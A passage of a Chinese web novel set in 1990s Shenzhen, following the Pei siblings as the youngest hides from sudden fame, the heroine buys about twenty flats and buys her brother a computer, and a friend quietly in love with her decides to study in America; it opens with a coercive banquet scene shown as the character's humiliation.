“哎哟,叫什么丁总,多见外啊,显得生分。”丁旺山故作不悦地皱了皱眉,随后哈哈一笑,一只肥厚温热的大手,极其自然地覆在了吴彩霞端着酒杯的手背上,轻轻摩挲着。 “叫干爹。” 吴彩霞的身体僵硬得像一块石头。 “怎么?彩霞不愿意认我这个干爹?”丁旺山眼皮微微一撩,笑意未达眼底,语气里透出了一丝压迫感。 吴校长在一旁急得满头是汗,他死死盯着女儿,眼神里充满了警告。他在桌子底下又狠狠踹了吴彩霞一脚。 她声音细若蚊蝇,“干爹……” “好!好闺女!”丁旺山哈哈大笑,声如洪钟。他反手一把握住吴彩霞的手腕,将那杯白酒推到她唇边,“既然叫了干爹,那这杯改口酒,干爹陪你喝了!” 吴彩霞被他顺势拉得一个踉跄,强忍着恶心,接过那杯酒,一饮而尽。 烈酒入喉,像是一团火在胸腔里燃烧,烧断了她所有的退路。 “好酒量!”丁旺山满意地拍了拍她的肩膀,“老吴啊,你这闺女不错,懂事。以后在县里,有什么事尽管找干爹,干爹罩着你!” 吴校长见状,长长地松了一口气,端起酒杯站了起来:“那以后,彩霞就全仰仗丁总……哦不,仰仗亲家费心了!来,我敬您一杯!” 包厢里的气氛瞬间热烈起来。推杯换盏间,吴彩霞木然地坐在丁旺山身边,像个精致的提线木偶,被迫喝着那些辛辣的液体,假笑。 “裴文莹……”吴彩霞在心底咬牙切齿地念着这个名字,“你给我等着。总有一天,我会把今天受的屈辱,十倍百倍地还给你!” 49. 第 49 章 裴文韬抱着小狗裴四,坐在深城姐姐家的客厅里,目光空洞地撸着小狗,脑袋像是被压了一块大石头。 裴四感受到了主人灰暗的心情,在他手底下一动不动。 如果有人问他:在你14岁的时候,给你一个一夜成名的机会,你要不要? 一周前,裴文韬不知道要不要;一周后的现在,打死他也不要。 这个问题像魔鬼梅菲斯特问浮士德,谜面只告诉了你一半。给你一个爆红的机会,你要不要?它没有说用什么来换。 如果成名要付出的代价是:打破自己平静的生活、被人无所不在的跟踪和窥视,然后被迫接成千上万的综艺通告、媒体采访和各种工作机会,他会当场崩溃。 他其实已经崩溃了。 外面的世界已经失控。 无数粉丝、记者、导演、经纪人围堵跟踪他,无数电话要求采访他,让他上电视,请他拍广告、出唱片。 逃亡深城的前一天,他试图和刘杰躲在县城的一个废弃仓库里,但很快发现是徒劳的。旗山县一中、刘杰住的县委大院、大哥的旗山文印店……每一个他可能出现的地点,都有人蹲守,所有人都在期待他的一举一动。 最终,他在大哥裴文龙的掩护下,抱着小狗,和姐姐登上了南下的火车,躲进了姐姐在深城的公寓。 对于这场突如其来的“泼天富贵”,无论是裴文韬,还是他的哥哥姐姐都没有做好心理准备。但是,裴家兄妹的反应出奇地一致:这不是馈赠,这是劫难。 找不到正主的狂热,全数反噬到了始作俑者刘杰身上。 刘杰家的电话已经被打爆——大赛之后第二天刘杰接了一百多个电话之后,从开始的兴奋到最后的恐惧,只过了半天。他们家那只橘红色转盘电话像是刚跑完马拉松,听筒烫得能煎鸡蛋。 “第187个。”刘杰筋疲力尽地摊在沙发上,拿笔记下,“上海长途,让文韬拍高乐高广告。” 他把电话线又拔了。只要插上电话线,就是狂轰滥炸的各种电话打进来,只有拔掉才能清静。刘杰身心俱疲。 现在跪着也吃不完他自己画的饼了。裴文韬不打死他,已经算是饶他狗命。他要自己收拾好这个巨大的烂摊子—— 房门突然打开,刘母一脸疲惫与绝望,“那个戴蛤蟆镜的唱片公司经理,搬了个马扎坐在大院门口,说要等到天黑!你到底把你同学藏哪儿了?” 刘杰痛苦地抱住头,他怎么知道?他的天才朋友,就像一滴水蒸发在空气里,彻底从旗山县遁形了。 而此时的深城,海风正温柔地抚平少年炸毛的神经。 裴文莹和裴文龙趁着周末,带惊魂未定的小弟去南山公园看海,又在游乐场坐了三遍过山车。在排队等旋转木马的时候,裴文韬的精神明显放松了下来,不再焦躁、恐惧。 晚上,裴文莹定了一家高档西餐厅最安静的角落,叫上威廉和顾飞羽,陪着他们三兄妹共进晚餐。 席间没有一个人提起“出名”的事。威廉谈论着制造业的新闻,顾飞羽聊着深城最前沿的电子科技,裴文龙偶尔插几句文印店的生意。 裴文韬只听,不说话,到最后已经能露出笑意了。 回到公寓,裴文莹翻出自己在港城买的运动鞋,塞到小弟手里:“小韬,快试试这双鞋~这是上次我和表哥去港城专门给你买的。”又把一个袋子塞到裴文龙手里:“大哥,这件衬衣是你的——” 还有几件T恤和裤子,大大小小堆了一桌子。 龙虎兄弟收到礼物都很高兴,此时港城就是顶级时尚的代名词,来自港城的服饰到了全国都是耀眼的存在,何况是湘省。 裴文韬抱着新鞋,爱不释手。裴文龙则沉稳得多,他摸了摸衬衫的料子,随口问:“莹姐儿,上次听建国说,你们在港城遇到酒店起火了?” “老楼电线老化而已,我们跑得快,虚惊一场。”裴文莹轻描淡写地带过,反问道,“大哥,你最近在西照的复印店生意怎么样?” 问起自己的生意领域,一向严肃的裴文龙也露出笑脸:“还行,到大学开复印店这个模式,现在很成功,我跟师傅合作,他那边把师弟们培训出来,我们就出本金投资,让拿到合格证的师弟们去找个大学开复印店,赚了钱我们按比例分红,现在已经把西照、东潭、北护这几个市的大学都给包了,开了十几家分店了。” “十几家分店?”裴文莹听完惊呆了,这还是自己那老实诚恳的大哥吗?他什么时候变得这么厉害了?分店开了十几家了? 怎么现在开店像喝水一样容易了? “是啊,生意都不错,大家都是从同一个地方出来的,我们划好地盘,也不存在恶性竞争,挺好的。”裴文龙轻描淡写地说。 好家伙,旗山文印走遍天下,从这个时候就布局了。 前世,周群雄也不过是带着旗山人闯粤省,一直要到世纪之交才找到这个模式,然后再快速复制到全国各地。 裴文韬也停住了,大哥每天早出晚归的,开了那么多店了?他都没感觉,伙食越来越好是真的,动不动就带他下馆子,平时鸡鸭鱼肉变着花样地给他做饭,他都长高了好多,快要比姐姐高了。 “小韬,你喜欢当明星吗?”裴文莹问。 爆红后,裴文韬陷入了迷茫之中:人们为什么喜欢我?他们会永远爱我吗?如果不爱了,我还有什么?我该怎么做,才能让大家继续喜欢我? 他低下头,手指无意识地拉了拉鞋带 说:“我不想当众表演节目,不想接受采访,不让被别人跟踪拍照说喜欢我,也不想上综艺节目……” 他突然觉得很累,觉得自己被世界牵着走,而自己并没有决定权。 “那你到底喜欢什么?”裴文莹问,声音温柔。 裴文韬犹豫了片刻,最终还是低声说道:“我只是想赚钱,减轻家里的负担。”他说这些话的时候,语气中透露着一种责任感。 原来如此。 小弟生性内敛,智商很高,不喜欢出头露面,与人交际会耗费他很大的能量,需要很长时间的独处才能恢复。他能和传达室大爷成为挚友,就是因为两人不需要说话,只要一起坐在山顶看落日就好。 他这样的人,根本不适合去当明星。 原来是为了钱——他这个理由让裴文莹和裴文龙差点泪目。 他们俩的脚步走得太快,忘了跟他同步信息,导致他的记忆还停留在贫穷又受人欺负的三年前。 裴文莹转身回卧室拿出一个纸袋,把自己的股票账号、存折、轻轻放到桌面上。她的眼神变得坚定,语气温和却透着一种无法反驳的力量:“文韬,看看这些。” 裴文韬愣了一下,心中一阵疑惑。接过文件,他看到上面的数字,眼神突然变得复杂:“你……你在股市上赚了这么多?”他难以置信地问道。 裴文莹点了点头:“是的。家里其实已经不缺钱了,我们过得非常好。” 裴文龙也拍怕他的头说:“你没发现你每个月零花钱翻倍了吗?大哥在西照买了套小房子,已经在装修了,今天就可以去咱们自己的房子里过年了。” 什么?大哥买房了?裴文莹又受到一次震动。 她一直以为在这个家,她是最能赚钱的一个!现在,大哥不声不响地,就已经在改善这个家的生活水平了。 “大哥,你挣了多少钱?给我看看你存折——”裴文莹开玩笑。 裴文龙也笑了:“赚得不少,但是都投资让他们开分店去了。西照大学有人出手教工宿舍,三居室,房主是校领导,房子分得大,总价有点高,一般人买不起,有钱人也不喜欢那个位置,不上不下的,我看着也不贵,就买下了。” 裴文莹哈哈大笑,不愧是兄妹,买房的喜好如出一辙,都喜欢买/租在大学校园里。 裴文韬听完,震惊了,他一直以来承受的所有压力,似乎瞬间崩塌。他从来没有想过,家里竟然已经很有钱。 他愣住了,眼神迷茫,“原来家里已经这么有钱了,我……我怎么不知道?” 裴文莹微笑着点了点头:“小韬,白白受了那么多罪。”她的声音温柔,但坚定,“我和大哥挣了这么多钱,足够让你自由地、做自己喜欢的事。” 50. 第 50 章 既然决定了,剩下的就是如何让这场狂欢收场。 裴文莹动用了顾飞羽的关系,绕开所有娱乐媒体,直接联系了最具官方背景的国家级报纸。 她代替裴文韬,写了一篇极具主旋律的文章作为答复:裴文韬同学志在科学,立誓要将毕生精力奉献给祖国未来的科研事业,今后不再涉足演艺圈。并感谢所有人的支持和厚爱。” 这篇报道一出,格调瞬间拔高到了国家未来的层面。 娱乐资本嗅觉最是敏锐,这种根正苗红且毫无娱乐价值的定调,意味着炒作空间极小。谁再敢去围堵,那就是阻碍祖国未来科学家成长的罪人。 为了确保万无一失,裴文韬一直留在深城过暑假,等9月开学了再回家。 “这段时间,你就留在深城。”裴文莹拍了板,“名利场里,没有谁是不可替代的。”裴文韬抱着小狗,看着窗外深城璀璨的夜景,用力地点了点头。 明星的光环并不是永恒的。没有多少人会永远地记住一个明星。 只要不再公开露面,没有任何作品或节目,裴文韬的热度会渐渐消散。 粉丝会开始转向新的偶像,新的明星又带着炫目的光环登场。 人突然有了钱之后会怎么挥霍? 买买买——买奢侈品、买豪宅、买豪车,接下来有很大概率就是被人盯上,引诱着染上黄-赌-毒,最后财富灰飞烟灭。 上一次从股市中有大斩获后,顾飞羽报复性消费,买了很多昂贵的名表,送给了父母家人,结果被姑姑发现他有钱,关键时刻狠狠给他挖了坑——虽然这个坑后来被证明是泼天的富贵,但最初,是他忘记了老祖宗“财不露白”的古训,活该有这一场虚惊。 咖啡馆内的灯光温暖而柔和,烛光在桌面上舞动。正在翻阅文件的裴文莹抬起头,尔抬眼看向对面坐着的顾飞羽。他递过来一个精致的盒子,表面光滑,在灯光下熠熠生辉。 “文莹,认识这么久,这算是庆祝你正式入局的礼物。”顾飞羽将一个精致的暗纹丝绒盒子推到了裴文莹面前。 裴文莹微微一愣。今天的顾飞羽和平时不太一样,他一贯从容的目光中,多了一丝难以捉摸的炙热,像是有某种隐秘的情愫在深色瞳孔里翻涌。 顾飞羽想说的,却无法说出口。 他的财富,很大一部分都是因裴文莹而得来。但他对裴文莹,又不止是朋友那么简单。 裴文莹打开盒子。灯光下,一块小巧精致的百达翡丽女表静静躺在天鹅绒里。金色的表圈饰有经典的巴黎钉纹,罗马数字时标搭配蓝钢指针,整体设计简洁而优雅。 “太贵重了。”她下意识地想要合上盖子。顾飞羽却按住了她的手背。他的掌心温热,一触即分,分寸感拿捏得极好,却又带着不容拒绝的强势。 “朋友有通财之义。”顾飞羽看着她的眼睛,声音低沉微哑,“更何况,认识这么久,我还从来没有送过你东西——”” 其实他还有半句话没说。这个品牌最著名的一句箴言是:没有人能真正拥有百达翡丽,只不过为下一代保管而已。他送她这个,藏着极其隐秘、且不敢见光的私心。 裴文莹不是那种矫情的女人,她干脆地取下腕表戴上。 “谢谢,我很喜欢。”她抬眸,落落大方地一笑。 顾飞羽反而被这直白坦荡的笑晃了一下神,有些狼狈地偏过头,轻咳一声转移了话题:“文韬最近怎么样?” “在深大图书馆泡着呢。”裴文莹眼中闪过温柔。 暴富之后,她没有用金钱去砸晕小弟,而是悄悄拔高他的眼界。 她去买了一辆黑色的普桑——在90年代初,桑塔纳已经是普通人眼中可望不可及的豪车,但在一众下海老板的奔驰皇冠中,又显得极度低调。 每到周末,她就开着这辆车,带着裴文韬去看大千世界。他们去了博物馆,去了商场,去了游乐园,看过大自然的美景,也走访过小镇上的古老建筑。他们在渔村里吃过饭,也在摩天大楼里喝过咖啡。 她在用这种不动声色的方式告诉弟弟:这个世界很大,名利场只是其中一处,去寻找你真正热爱的东西吧。 “明天周末,飞羽,你对华强北那边熟吗?陪我去买台电脑。”裴文莹发出了邀请。此时的电子城刚刚兴起,“攒机”是走在时代最前沿的极客才玩得转的东西。 第二天,在顾飞羽的带领下,两人在华强北,挑中了一台最新款的IBM兼容机。 经典的塔式黑色机箱,14英寸CRT显示器,486处理器,4MB内存,80MB硬盘——这在当时,是绝对的性能怪兽。 老板开价三万,顾飞羽熟稔地用专业术语一阵砍价,最终以两万五千元现金成交。 裴文莹眼都不眨,随手点出几沓百元大钞,仿佛给小弟买了一个新玩具。 回到公寓,顾飞羽熟练地帮着走线、调试。随着“滴”的一声蜂鸣,屏幕亮起,跳出DOS系统的黑□□面。早已在一旁望眼欲穿的裴文韬,眼睛亮得像落入了星辰。 “小韬,这就是你的了。”裴文莹把店老板送的操作手册扔进他怀里,“去摸索吧,搞坏了算我的。” 裴文韬欢呼一声,一头扎进了那个数字世界,连小狗裴四蹭他的裤腿都不理了。 客厅里,裴文莹给顾飞羽倒了杯茶。“既然电脑买好了,下周末,有兴趣陪我去看几个新楼盘吗?”她坐在沙发上,随口问道。 顾飞羽笑:“真的决定做包租婆了?” “是啊,没办法,穷人有了钱,第一件事就是买房,我现在都想不出除了买房还能干什么。感觉存在银行里,利息也不是很高。” 此时,虽然很多地方还是单位福利分房,但是政府已经发布了《关于加快城镇住房建设若干问题的通知》,明确提出逐步取消福利分房制度,允许居民购买商品房,启动商品房建设试点。三年后,又明确提出要全面停止福利分房,建立住房公积金制度。最后到了1998年正式停止了住房实物分配,开启了房地产市场化时代。 如果有什么东西能够长久保值,一定是这个时候的房产,只要十年,涨十几倍的都有。裴文莹鼓动顾飞羽买房,顾飞羽虽然并没有刚需,但他却一口答应陪她去看看。 51. 第 51 章 海荣花园的售楼处里,王一山站在角落里,低头看着手中的销售记录,一片空白。 他已经整整八个月没开单了,每天都像是在煎熬。 经理不耐烦地瞥了他一眼,语气阴阳怪气:“王一山,你看看你手里的单子,还是空的吧?你知不知道,销售的黄金期就那么几个月,你要是连一套房子都卖不出去,干脆回老家种田得了。” 王一山脸色涨红,指尖在裤缝处紧攥成拳。他不是不努力,他每天都第一个到售楼处,最后一个走,可是客户总是不信任他,他的业绩就是打不开。 来了有钱的客户,马上就被眼尖的同事招呼走了。分给他的客户,总是问几句就没了下文。看着同事每每卖出去一套、两套的,欢呼庆祝,他这边冷冷清清,门可罗雀。再这样下去,经理不赶他走,他也没脸待下去了。 经理叹了口气,拍了拍他的肩,语气意味深长:“我这人吧,不喜欢赶人。但公司是要看业绩的,给你最后一个月,再不开单,你自己走吧。要是连一个客户都搞不定,真是没救了。” 王一山心里发苦,他低头应了一声,咬紧了牙关。 这时,售楼处的玻璃门被推开,一对年轻的男女走了进来。 他们衣着简单干净,看上去不过二十出头,售楼处的销售们扫了他们一眼,纷纷低头整理手里的资料,显然没把他们放在眼里。 “估计是大学生,进来看看热闹的。”有人小声嘀咕。 其他销售懒洋洋地翻着资料,没人愿意上前接待。 只有王一山,深吸一口气,硬着头皮迎上去:“两位……请问是想看房子吗?” 裴文莹点点头:“对,我们想了解一下这里的户型和价格。” 王一山手心微微冒汗,开始按照标准流程问话:“欢迎来到海富花园。我是这里的销售顾问王一山,很高兴能为您服务。请问您是第一次来看我们项目吗? 裴文莹诧异地看了他一眼,他要不要这么死板? 感受到客户的不满,王一山赶忙拿起样板房的资料,磕磕巴巴地介绍起来:“呃……海荣花园是我们公司精心打造的高品质住宅项目,无论是地理位置、周边配套还是小区环境,都非常不错。主要是中小户型,面积在80到120平方米之间,适合年轻家庭居住。我们这边绿化率高,周边配套正在完善,将来会有学校和商场……” “那小区的环境怎么样?”裴文莹问。其实小区刚开始建,根本不知道未来什么样。但她知道这块区域,将来会随着科技园的发展而房价大涨。 “……我们采用了低,低密度的规划,绿化率达,达到40%以上,整个小区就像一个大花园。而且我们有专业的物业管理团队,24小时为业主服务,无论是环境卫生还是安全保障,都能让您住得非常安心。 “有样板间吗?”裴文莹问出一个很专业的名称。 王一山楞了一下,这还是第一个跟他谈了那么久,还要看样板间的客户呢。 他跑去经理那里拿钥匙。经理拍出一大串钥匙,让他跟好客户。 他殷勤地引导:“这边请。这是我们的一套样板间,您可以看一下。这个户型是三室两厅两卫,客厅非常宽敞,可以摆放大型的沙发和茶几。而且客厅和餐厅是连通的,空间感很强。厨房是U型设计,操作台面宽敞,方便烹饪。卧室都带飘窗,采光非常好,而且主卧还有独立的卫生间和衣帽间,居住起来非常舒适。” 样板间采用港式设计,裴文莹很满意。唯独不满意的就是厨房太小,不过后期装修,可以按照自己的喜好来扩。港式设计都会把厨房设计得很小,因为港城年轻人很少在家做饭。 “贷款可以吗?”裴文莹突然问。 王一山愣了一下,脸色微变,显然自己都不确定,犹豫了几秒后,他又匆匆跑去找经理请示。 经理皱眉看着他,语气不耐烦:“当然可以,银行都有合作,你连这个都不清楚?” 王一山满头大汗地跑回来,气喘吁吁地说:“可以贷款的!” 裴文莹轻轻点头,没有立刻下决定,而是和顾飞羽商量片刻,一起离开了。 经理见怪不怪地说:“那两人那么年轻,一看就不会有钱买房,不过是毛头小子带着女朋友来过眼瘾——” 王一山的失望之情,溢于言表。 看完房子出来,裴文莹和顾飞羽找了个冰室坐下,顾飞羽问:“文莹,你准备贷款?” “是啊!”裴文莹点点头:“我想多买几套,但又不想把所有钱都买了房,所以看看能不能贷款。” 这个时候房地产市场刚刚起步,大家还习惯由单位分房,不习惯自己买。因此,现在房子卖不出去还要靠摊派,买房子贷款也很容易,有的地方甚至是零首付就可以买房。 “贷款确实是个好办法!不过,听你这口气,不只买一套?”顾飞羽问。 裴文莹不好意思地笑笑:“我是怀石镇来的土包子嘛!有了钱不是买房就是存着吃利息。但房子有时候不只有自己住这一个功能——” 顾飞羽笑着摆摆手:“文莹,你说得对。房子肯定不止是用来住的。古代大户人家的房子盖得又大又气派,也是一种身份的象征!” 裴文莹笑着摇头说:“飞羽,你知道我不是这个意思!” “开个玩笑——我知道你的意思,买房子也是投资。古人早就知道把房子买在国子监、太学等好地段,等着租出去收租。只要房子在,租金就能一直收,这就是一种投资!房子还能保值,不像别的东西,用着用着就坏了。持有的时间再久一点,有很大概率能升值赚钱。” 裴文莹完全同意。说当包租婆是开玩笑,但此时,买房是最好的投资,稳赚不赔。 “你怎么样?我知道你们家不缺房子住,要不要和我买到一起,我们做一辈子的好朋友!”裴文莹兴致勃勃地说。 顾飞羽心头一颤,随即不再多想,掩饰性地咳了一声说道:“我当然是舍命陪君子罗!你买到哪里,我就到你隔壁买一套!” 两人临别约定,下周末再一起去看房。 顾飞羽到家,正听到母亲在接电话,一听 口气就知道是姑姑。他打了个招呼就要进屋,母亲在后面喊:“哎飞飞回来了,我不跟你说了,挂了啊~” 母亲殷勤地拉着顾飞羽坐下,关心地问:“你姑姑刚才打电话来问,上次你接手了你爷爷的股票,卖了没有?——” 顾飞羽没好气地说:“妈,你去管姑姑的事干嘛?她是夜猫子进宅,无事不来——” 梁教授嗔怪地打了儿子一下:“住嘴!哪有你这么编排长辈的?你姑姑刚刚跟我说,你要是没卖的话,她愿意花双倍的价钱买回来,这样你就不会亏了—— 顾飞羽简直气笑了:“妈,你每天看报纸,是不是从来不看财经版啊?那支股票涨成什么样子了,双倍哪里买得到?十倍都买不到了!“ 梁教授大吃一惊,身子向前倾看着儿子,声音有点颤:“那你卖了没有——” “我早就卖了!”顾飞羽就不给母亲想象的空间:“在它回本的时候,我就赶紧卖了,把本收回来了!而且也退出了股市!再也不碰股票了!” 梁教授大失所望,坐回沙发。 顾飞羽看了母亲一眼又道:“妈,你少掺和姑姑的事,她没少打着爷爷的旗号,在外面倒买倒卖的。到时候出了事,又跟上次似的,她滑头脱身走了,咱们在后面给她收拾烂摊子!” 梁教授也想起上次的股票风波,叹口气,摆摆手让顾飞羽走。 第二个周末,裴文莹和顾飞羽走进另一处售楼处——西翠华庭。这个楼盘和海荣花园在同一个区域,只隔了一条马路。 这一次,售楼处的前台懒洋洋地坐在椅子上,对他们的到来毫无反应。 “请问有销售人员在吗?”顾飞羽忍不住开口。 前台瞥了他们一眼,拖着长音说道:“稍等。”然后继续摆弄指甲,完全没有要去叫人的意思。 裴文莹和顾飞羽面面相觑,等了足足十分钟,才看到一个人气喘吁吁地跑过来。 是王一山。 “怎么又是你?”顾飞羽挑眉。 王一山擦了擦额头的汗,喘着气说道:“对不起,对不起,让你们久等了……其实,这两个楼盘是同一个公司销售的,我今天刚轮班到西翠华庭。” 裴文莹眼中闪过一丝惊讶:“原来如此。” 这一次,王一山的介绍明显流畅了一些,他连夜把所有资料背了一遍,生怕自己再出错。 “海荣花园和西翠华庭有什么区别?”裴文莹问。 王一山犹豫了一下说:“如果是我的话,我会选西翠华庭,因为这里可选的中小户型多,买一套房就送3个蓝印户口,首付款只要20%就行,全款的话直接打9折。海荣花园,首付款要30%,全款只能打97折,一套房送1个蓝印户口。但是海荣花园的户型面积更大,绿化率更高,配套设施更完善,适合那些不怎么在乎钱的。” 蓝印户口其实就是一种特殊的户口。它不像正式户口那样有完整的权益,也不像暂住证那样只是临时的居住证明。它是一种介于两者之间的户籍,因为盖的是蓝色印章,所以叫蓝印户口。 52. 第 52 章 在深城买了房,就能拿到蓝印户口。有了这个户口,就能享受一些和正式户口差不多的待遇,比如孩子上学、安装煤气、电话,这些事都能方便一些。 上海最先为了吸引投资、促进房地产市场发展,出台“买房送蓝印户口”的政策,随后天津、广州、深城等地都纷纷出台了类似的政策。 不过,这种政策也就施行了不到十年,千禧年之后就陆续停了。后面再想落户,都要通过人才引进、积分落户这些正规渠道了。 裴文莹和顾飞羽对视了一下,双方都清楚了对方的意图。这个卖房的小伙,老实巴交的,应该是直接交底了。 裴文莹再次开口了:“小王,我们两个小区都买,你去请示经理,看可不可以两边条件都一样。” 王一山又再次跑到对面海荣花园售楼部去了。 在点头哈腰向经理说明情况,经理把他骂得狗血淋头,又再次点头哈腰解释、道歉和坚持之后,他顽强地拿到了经理给出的“两边可以一样”的保证。 等到裴文莹最终点头,决定签下购房合同时,王一山简直不敢相信自己的耳朵。他的第一单,终于开了! 签字的那一刻,他的手都在微微发抖。 “谢谢……谢谢!”他激动得连连鞠躬。 裴文莹笑了笑,傻人有傻福,这泼天的富贵就该是他的。 王一山眼眶泛红,他知道,这不仅是自己的第一单,更是他人生的一个重要转折点。 这一次,裴文莹毫不犹豫地签下了海荣花园和西翠花园的购房合同。 海荣花园,全款5套,贷款5套,除了两套是中小户型,其余全是大户型。 西翠华庭,10套房子都选的中小户型,而且全部贷款。 裴文莹全款买的5套海荣花园共计花了152万。 贷款买的15套房子,首付款20%,要支付接近60万,贷款总额240万,每个月月供要2万。 裴文莹办好按揭,签好合同,一次性支付了全款和首付款212万。 顾飞羽看着她的豪爽,眼中满是惊叹:“你真的不怕贷款压力?” 裴文莹笑了笑,语气透着笃定:“经济学老师在课上教的:钱是要流动的,光攥在手里没用。等几年后房价翻倍,压力就变成了资产。” 顾飞羽佩服不已,裴文莹是他亲眼见证的“深城奇迹”:从一个雨夜迷路的乡下丫头,到现在一掷千金的大女主,中间也不过就过了3年而已。 他沉思片刻,最终叹了口气,看着裴文莹那毫无犹豫的背影,心里一种异样的悸动。 这是手拿大女主剧本的福将。他心里突然冒出这个念头。 “那……你买的这些小区,我也买几套好了。”他低声说道。 裴文莹猛地回头,有些惊讶地看着他:“你不是说不想贷款?” 顾飞羽挑眉笑道:“我可没说全款不行。” 就这样,顾飞羽在裴文莹选定的两个楼盘里,各自全款买了五套最大面积的房子。 两人从售楼处出来时,夜色已经降临,霓虹灯初次亮起。 “你买这么多房子,是因为觉得房产有潜力,还是……”裴文莹停住,目光在顾飞羽脸上停留。 顾飞羽嘴角轻勾,眼神意味深长:“因为我想和你在一起。” “裴小姐、顾先生,请等一等!”王一山追出来,大喊。 两人回头,见是那个老实巴交的售楼小伙,停下来等他。 王一山气喘吁吁地跑到他们面前说:“裴小姐、顾先生,你们,你们的房子装修,要不要请设计师啊——” 两人对视一眼,裴文莹问:“怎么?你连装修的佣金都要赚?” “不是不是!”王一山疯狂摆手:“我从你们身上赚到的提成足够多了!太多了!这么多钱,我这辈子也没见过!我想感谢你们一下,我,我女朋友晓梅是设计师,她是港大毕业的,很厉害的,我想让她免费给你们设计——” 王一山三年不开张,开张吃三年。他八个月没开一单,第一单就是30套房,佣金就算只给1%,他也能得到将近10万块钱提成。 此时,普通人一个月工资800元,10万是一个人不吃不喝干10年的工资总额,足够他自己在海荣花园或西翠华庭买套小房了——而他也正打算明天就这么做。 买房将一举解决了他作为大龄男青年,因为没房没铁饭碗工作而被丈母娘嫌弃,不让女儿嫁给他的困境。可以说,裴文莹和顾飞羽就是他的贵人兼恩人。 知恩图报,是王一山的美德。 裴文莹听完他的话,笑了,好人就该有好报啊!难怪这泼天的富贵要落到他身上。 她摆摆手制止了王一山要免费白*嫖*女朋友设计的冲动,说:“这样吧,我给你个电话和地址,你让你女朋友把她以往的设计作品发给看看,要是我们满意,就让她来替我设计。放心,我不白用她。还有,下次再有这种事,你别替她做主,要不然我怕你活不过明天——” 王一山懵懂地点头,感激不尽。虽然他出发点是想感谢恩人,但怎么又替女朋友拉到订单呢?关二爷真是太照顾他了,明天他就去给关二爷烧香。 XXX 深大图书馆的咖啡屋里,顾飞羽的手指不断摩挲着杯沿,眉头紧锁,眼神沉郁。 他的面前摆着一封厚厚的录取通知书,上面的字母明晃晃地刺着他的眼——NewYorkUy(纽约大学)。 “所以,你到底打算怎么办?”坐在对面的裴文莹轻声问道,目光落在他微微泛白的指节上。 顾飞羽抬起头,眼中带着几分挣扎。他的声音有些低沉:“我不知道。” 裴文莹微微皱眉,目光透着审视:“你现在还在犹豫?” 顾飞羽沉默了片刻,突然笑了一声:“你不懂,文莹。我妈从小就替我安排好了一切,她觉得去美国是最好的选择,我爸现在也站在她那边。” “他们甚至连专业都帮我选好了。”顾飞羽自嘲地笑了笑,“我不是不喜欢,但我真的想去吗?或者说,我想要按照他们的规划活一辈子吗?” “如果是你,你会怎么办?” 裴文莹目光微微一顿,没有犹豫地答道:“如果换成是我,我会毫不犹豫地去美国。” 顾飞羽怔住了,“为什么?” 裴文莹抬眼,神色坦然:“飞羽,你有 没有想过,这世上有多少人想要出国留学,却没有机会?你家里不仅能供你去最好的大学,甚至连未来都给你铺好了路,可你却在这里犹豫——你觉得你是在反抗父母的控制,可在我看来,你不过是在浪费一个绝佳的机会。” 她微微前倾,目光直视着他:“你说你不想让他们替你安排人生,可是你有没有认真想过,自己到底想要什么?你是讨厌去美国,还是只是单纯地不想听他们的安排?” 顾飞羽怔怔地看着她,喉咙动了动,却一句话都说不出来。 父亲的调动并非偶然,而是家族布局的一部分。 爷爷曾郑重地告诉他,深城如今正是龙腾之势,国家重视,政策倾斜,人才汇聚,未来十年必定大有可为。这种时候,能来深城,就是站到了最前沿,亲手把握时代的脉搏。让他爸调过来,是为了更好地发挥作用,也是为顾家布局,错过了,现在的位置再稳,将来也只是守成。他姑姑已经不争气,下海经商去了,未来就指望他爸和他了。 顾飞羽的留学之路,也是爷爷和父亲为他精心规划好的。去美国深造,不仅仅是镀金,更是为了让他学到真本事,开拓眼界,积累人脉。等他学成归来,正好赶上国家大力发展的浪潮,家里已经为他铺好了路,届时他可以进入核心部门历练,稳步发展。 这些道理,他并不是不明白,只是一直在逃避。 他要去美国。 不仅仅是因为父母的安排,也不仅仅是因为爷爷的期待,而是因为他突然明白了,自己不能永远停留在原地。他要变得更强大,他要有一天能够站在她的身边,而不是只能在背后默默看着她。 这个念头深埋在他心中太久,久到已经记不清从什么时候开始,他的眼睛会在人群中自动搜寻她的身影;他随时携带的笔记本里,某一页密密麻麻写满了“文莹”两个字,又全部涂掉。 “文莹……”顾飞羽叫她的名字,声音比平时低了一些,像怕惊动什么。 她偏过头看她,眼睛亮晶晶的,等着他往下说。 “如果——”他顿了顿,说道:“如果我去了美国,你会不会忘了我?” 他说完就后悔了,这个问题太露骨了,像在薄冰上踩了一脚,随时可能裂开。 可她没有察觉。她只是微微一怔,随即啼笑皆非:“当然不会,我们是朋友啊!——怎么会因为不在同一个地方就忘了!” 她的回答毫不犹豫,可顾飞羽的心却剧烈地跳了一下,他知道,她并不明白他真正的意思。他想抓住她的手,告诉她“我说的不是记不记得,是你会不会想我”。 可他什么都没做。他只是把目光从她脸上已开,落在远处的城市灯火上,声音淡淡:“那就好。” “你走后,房子只能我帮你装修了!”裴文莹开玩笑地说。 “那正好,别替我省钱,但是要跟你的装成一模一样——”顾飞羽放下了心事,也轻松起来。裴文莹没觉得有什么不对,她那十套用于出租的屋子,都会装得一模一样。 顾飞羽开始了赴美前的准备工作。他提交了签证,选择了春季入学。那天他还有一句话,最终也没有说出口—— 其实不是朋友,可你不必知道。 53. 第 53 章 铭康电子厂的生产线上,机器的轰鸣声此起彼伏。工人们在闷热憋闷的环境中匆匆穿梭,汗湿衣衫,可每个人都全神贯注,不敢有一丝松懈。 裴文莹站在生产车间的一角,熟练地查看着每一条产线,目光锐利而专注。 她的英语和德语流畅无比,面对威廉自信而从容地讲解着产品的质量控制标准,并针对技术问题提出了一些改良建议。 威廉露出了满意的笑容。他注视着眼前这个年轻的东方女性,目光里透着几分欣赏。 “裴,你对产品的理解非常深刻,比起简单地执行指令,你更像是在思考如何让它变得更好。”威廉用德语说道,声音低沉而稳重。 “谢谢!”裴文莹说道。 “裴,我有个好消息要告诉你。”威廉说道,湛蓝的眼睛里,闪烁着明亮的光芒:“我为你争取到了一个去德国进修的机会,半年,由厂家那边出资。我相信这对你的专业提升会有极大的帮助。” 去德国。精密制造、工业自动化、世界前沿的技术中心。 她脑子里嗡了一下,像被什么击中,很多画面轰然涌上来——实验室、设备、工程师、她站在中间。她觉得自己心跳快了半拍。 “真的?” “真的。你值得。” 她迅速镇定下来,努力压抑住心头的狂喜,微笑道:“威廉,这太难以置信了!这是一个千载难逢的机会,我非常感激您的推荐。” 